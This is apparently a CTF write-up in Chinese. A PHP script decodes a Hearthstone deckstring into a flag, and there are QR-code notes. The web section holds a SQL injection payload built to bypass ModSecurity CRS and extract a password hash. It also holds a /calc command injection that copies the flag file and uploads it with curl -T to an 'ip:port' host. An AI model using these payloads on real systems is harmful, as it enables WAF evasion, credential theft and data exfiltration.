MISC

炉边聚会

卡组代码是 Base64 编码的字节串，exp

<?php
$deckstring = "AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAi+BogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgA+AD4AO2B7wFkgnMCMwI+ga2B/QImgi6BJAIiAn2BOIJAAA=";
#这是⼀个⾮常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组，$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {$shift = 0;$result = 0;do {$c = array_shift($data);$result |= ($c & 0x7f) << $shift;$shift += 7;}while ($c & 0x80);return $result;
}
function parse_deck($data) {$reserve = read_varint($data);if ($reserve != 0) {printf("Invalid deckstring");die;}$version = read_varint($data);if ($version != 1) {printf("Unsupported deckstring version %s", $version);die;}$format = read_varint($data);$heroes = [];$num_heroes = read_varint($data);for ($i = 0; $i < $num_heroes; $i++) {$heroes[] = read_varint($data);}$cards = [];$num_cards_x1 = read_varint($data);for ($i = 0; $i < $num_cards_x1; $i++) {$card_id = read_varint($data);$cards[] = [$card_id, 1];}$num_cards_x2 = read_varint($data);for ($i = 0; $i < $num_cards_x2; $i++) {$card_id = read_varint($data);$cards[] = [$card_id, 2];}$num_cards_xn = read_varint($data);for ($i = 0; $i < $num_cards_xn; $i++) {$card_id = read_varint($data);$count = read_varint($data);$cards[] = [$card_id, $count];}return [$cards, $heroes, $format];}
print_r(parse_deck($arr)[0]);

运行得到

Array
([0] => Array([0] => 780[1] => 1)[1] => Array([0] => 670[1] => 1)[2] => Array([0] => 840[1] => 1)[3] => Array([0] => 700[1] => 1)[4] => Array([0] => 1230[1] => 1)[5] => Array([0] => 720[1] => 1)[6] => Array([0] => 1010[1] => 1)[7] => Array([0] => 970[1] => 1)[8] => Array([0] => 1140[1] => 1)[9] => Array([0] => 1160[1] => 1)[10] => Array([0] => 1040[1] => 1)[11] => Array([0] => 830[1] => 1)[12] => Array([0] => 1160[1] => 1)[13] => Array([0] => 1110[1] => 1)[14] => Array([0] => 1100[1] => 1)[15] => Array([0] => 1010[1] => 1)[16] => Array([0] => 950[1] => 1)[17] => Array([0] => 670[1] => 1)[18] => Array([0] => 480[1] => 1)[19] => Array([0] => 1000[1] => 1)[20] => Array([0] => 1010[1] => 1)[21] => Array([0] => 950[1] => 1)[22] => Array([0] => 830[1] => 1)[23] => Array([0] => 480[1] => 1)[24] => Array([0] => 480[1] => 1)[25] => Array([0] => 480[1] => 1)[26] => Array([0] => 950[1] => 1)[27] => Array([0] => 700[1] => 1)[28] => Array([0] => 1170[1] => 1)[29] => Array([0] => 1100[1] => 1)[30] => Array([0] => 1100[1] => 1)[31] => Array([0] => 890[1] => 1)[32] => Array([0] => 950[1] => 1)[33] => Array([0] => 1140[1] => 1)[34] => Array([0] => 1050[1] => 1)[35] => Array([0] => 570[1] => 1)[36] => Array([0] => 1040[1] => 1)[37] => Array([0] => 1160[1] => 1)[38] => Array([0] => 630[1] => 1)[39] => Array([0] => 1250[1] => 1))
[Finished in 43ms]

将这些[0]的内容除以10.就是ascll码，转换字符串就是flag

qrssssssss

二维码批量识别 https://tl.beer/parseqrcode.html

按时间递增排序 批量处理得到flag

qrssssssss_revenge

HINT：LMQH，利用QR RESEARCH

web

Ezbypass

cve：
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1727

Payload:

?id=@.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

Calc:

DasCTF三月赛类似，加了几个符号的过滤
https://xiaolong22333.top/index.php/archives/140/
在tmp/log.txt发现⾥⾯有根⽬录，flag名字 Th1s_is__F1114g
通过cp 和curl

	/calc?num='''1' cp /T* /1.txt '3'''/calc?num='''1' curl -T /1.txt ip:port '3'''